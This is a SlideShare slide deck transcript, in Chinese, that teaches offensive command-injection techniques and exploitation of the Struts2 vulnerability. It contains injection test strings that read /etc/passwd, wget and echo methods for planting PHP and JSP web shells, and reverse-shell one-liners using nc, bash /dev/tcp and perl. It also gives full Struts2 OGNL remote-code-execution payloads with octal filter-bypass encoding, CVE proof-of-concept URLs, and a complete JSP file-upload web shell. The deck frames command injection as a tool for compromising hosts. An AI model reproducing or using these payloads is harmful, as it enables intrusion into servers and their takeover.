O slideshow foi denunciado.
Utilizamos seu perfil e dados de atividades no LinkedIn para personalizar e exibir anúncios mais relevantes. Altere suas preferências de anúncios quando desejar.

cmd injection

  • Entre para ver os comentários

cmd injection

  1. 1. 關於Command Injection的小技巧AKPotter@hack-stuff.com06/011
  2. 2. Outline1. Test Pattern2. Get Shell tips– Linux– Windows3. Reverse Shell tips4. Real Case : About Struts2漏洞2
  3. 3. Test Pattern• 測試:看起來像有「執行」動作的或是「檔案存取」動作的參數• EX : [ 192.168.1.106;cat /etc/passwd ]3
  4. 4. Test Pattern• 可以測試的 Pattern; | & %0a(換行) && ||• 但; Windows不執行&&(只有第一個成功,第二個才會執行)…• 推薦使用 | (會只執行你注入的命令)• “| netstat” 快速跨平台測試• “| ping –n 30 127.0.0.1” 盲命令執行4
  5. 5. Get Shell• 最簡單的– wget,curl(Linux),fetch(Freebsd)– EX: wget http://codepad.org/234/raw.php -O /var/www/html/aaa.php5
  6. 6. Get Shell• Windows 怎麼辦?• ftp , tftp 是個方法,但..– ftp anynomous站好找,但若不是有個命令檔可以載入,它需要一個可互動的shell。– tftp 做得到直接上傳,但找不太到anynomous的站台,除非自己架。6
  7. 7. Get Shell• Echo 寫檔– Linux : 功能比較多,有雙引號• 特殊符要用號,不過也可用其他方式避過• echo “<?php helloworld ?>” > a.phpecho -e x77x67x65x74 > a.phpecho "bHMgLWFsCg=="|base64 –d >a.php– Win : 功能少但還是寫的進去• 特殊符號要用^號 ex :^>, ^<, or ^|• echo ^<?php echo "1";?^> > a.php7
  8. 8. Get Shell• Echo 寫檔時注意 :• “>”: redirection 要有shell才能用• 杯具:Java 的 java.lang.runtime.Runtime.exec跟 ASP.NET 的System.Diagnostics.Start.Process 不支援8
  9. 9. Get Shell• Linuxsh –c ls –al(注意:Java必須使用string array塞入字串,否則不能成功)• Windowscmd /c dir9
  10. 10. Reverse Shell• 請參閱 reverse shell cheat sheet• http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet• 有nc bash php perl python ruby等等的反連方式。10
  11. 11. Reverse Shell• nc -e /bin/sh 10.0.0.1 1234• bash -i >& /dev/tcp/10.0.0.1/8080 0>&1• perl -e useSocket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};11
  12. 12. Reverse Shell• 彈回來一個netcat卻無法互動??• 需要個tty• python -c import pty;pty.spawn("/bin/sh")‘• 這樣一般就能取得互動shell,而python pty在linux下預設安裝12
  13. 13. Famous Struts2 Execution• 甚麼是Struts2– Java的一種MVC框架,所有的request的參數都會先經由strutsaction controller處理後,在印出到頁面上。– Struts2遠端執行漏洞:其實比較像是eval類的漏洞,因為它是遠端執行代碼,只是不是純Java or jsp,而是遵循OGNL型式的java代碼。13
  14. 14. 終極漏洞利用工具?• 終極?– 上傳的編碼錯誤– Echo 上傳錯誤– Windows幾乎都無法上傳webshell14
  15. 15. 終極漏洞利用工具?• 念在你有創意,夠噱頭還有五分鐘 重做一個吧….15
  16. 16. 大概了解一下OGNL• OGNL運算式(可以存取Java物件數任意屬性及方法)• 屬性的引用 例如:user.name• 變數的引用 例如:#name• 靜態變數的訪問 使用@class@field• 靜態方法的調用 使用@class@method(args• 構造函數的調用 例如:new java.util.ArrayList();16
  17. 17. 從0開始●執行簡單命令(#_memberAccess.allowStaticMethodAccess)(a)=true&(aa)((#context[xwork.MethodAccessor.denyMethodExecution]=false)(a))&(ab)((#_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET)(a))&(ac)((#req=@org.apache.struts2.ServletActionContext@getRequest())(a))&(ad)((#webRootzpro=@java.lang.Runtime@getRuntime().exec(#req.getParameter("cmd")))(a))&(ae)((#webRootzproreader=new java.io.DataInputStream(#webRootzpro.getInputStream()))(a))&(af)((#webStr=new byte[10000])(a))&(ag)((#webRootzproreader.readFully(#webStr))(a))&(ah)((#webStr12=new java.lang.String(#webStr))(a))&(ai)((#xman=@org.apache.struts2.ServletActionContext@getResponse())(a))&(aj)((#xman.getWriter().println(#webStr12))(a))&(ak)((#xman.getWriter().close())(a))&cmd=whoami17
  18. 18. Ascii 取代• format(ord("#"),o)  4318
  19. 19. Ascii 取代●執行簡單命令(43_memberAccess.allowStaticMethodAccess)(a)=true&(aa)((43context[xwork.MethodAccessor.denyMethodExecution]75false)(a))&(ab)((43_memberAccess.excludeProperties75@java.util.Collections@EMPTY_SET)(a))&(ac)((43req75@org.apache.struts2.ServletActionContext@getRequest())(a))&(ad)((43webRootzpro75@java.lang.Runtime@getRuntime().exec(43req.getParameter(%22cmd%22)))(a))&(ae)((43webRootzproreader75new40java.io.DataInputStream(43webRootzpro.getInputStream()))(a))&(af)((43webStr75new40byte[10000])(a))&(ag)((43webRootzproreader.readFully(43webStr))(a))&(ah)((43webStr1275new40java.lang.String(43webStr))(a))&(ai)((43xman75@org.apache.struts2.ServletActionContext@getResponse())(a))&(aj)((43xman.getWriter().println(43webStr12))(a))&(ak)((43xman.getWriter().close())(a))&cmd=whoami19在 ognl 中取代被過濾的字元 漏洞CVE-2011-3923使用8進位繞過#  43, =  75, 空格  40 ,並盡量用 getRequest 代入參數(可用urlencode), 防止被過濾的字元
  20. 20. Windows echo上傳測試• cmd.exe+/c+echo+^<^%^@page^+language^=^"java^"^%^>^<^%^@page^+import^=^"java^.io^.File^,java^.io^.OutputStream^,java^.io^.FileOutputStream^"^%^>^<html^>^<body^>^<form^+action^=^"^#^"^+method^=^"post^"^>^<input^+size^=^"90^"^+value^=^"^<^%^=application^.getRealPath^(^"^/^"^)^%^>^"^+name^=^"p^"^>^<br^>^<textarea^+rows^=^"20^"^+cols^=^"80^"^+name^=^"t^"^>^<^/textarea^>^<br^>^<input^+type^=^"hidden^"^+value^=^"1^"^+name^=^"m^"^>^<^/form^>^<^%String^+m^=request^.getParameter^(^"m^"^)^;if^(m^!^=null^&^&m^.equals^(^"1^"^)^)^{String^+p^=request^.getParameter^(^"p^"^)^;String^+t^=request^.getParameter^(^"t^"^)^;File^+f^=new^+File^(p^)^;if^(f^.exists^(^)^)^{f^.delete^(^)^;^}try^{OutputStream^+o^=new^+FileOutputStream^(f^)^;o^.write^(t^.getBytes^(^)^)^;o^.close^(^)^;^%^>success^<^%^}catch^(Exception^+e^)^{^%^>failed^<^%^}^}^%^>^<^/body^>^<^/html^>>"D:Program+FilesApache+Software+FoundationTomcat+6.0webappscchtfman.jsp"20preg_replace(/(W)/, ^$1, ‘your shell’, -1, $count);
  21. 21. Linux echo上傳• Runtime.getRuntime().exec(“cat/home/gpx/script.sh > log”)這樣是不能執行redirect>的!!• 正確的寫法cmd=new String[3];cmd[0]="sh“;cmd[1]="-c“;cmd[2]= req.getParameter("t");java.lang.Runtime@getRuntime().exec(cmd);21
  22. 22. Struts純Java 上傳• u0023 太早之前就修復了 不該當作 pattern  應修改成 43• Demo22
  23. 23. To be continue…• CVE-2013-1966 (2013-05-23)POChttp://127.0.0.1/Struts2/hello.action?a=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Thread@sleep(5000)}23
  24. 24. 簡單demo• Struts2漏洞其實吃的變數不管是get或post都可以,但為了隱蔽,我們使用post 方法• 安裝 firefox 外掛 hackbar來實現 post• 回傳時格式有時瀏覽器不支援,用view-source24
  25. 25. 25小測試截圖
  26. 26. 結論1. Command injection 是您抓雞的好朋友2. struts2漏洞終極利用工具??26

×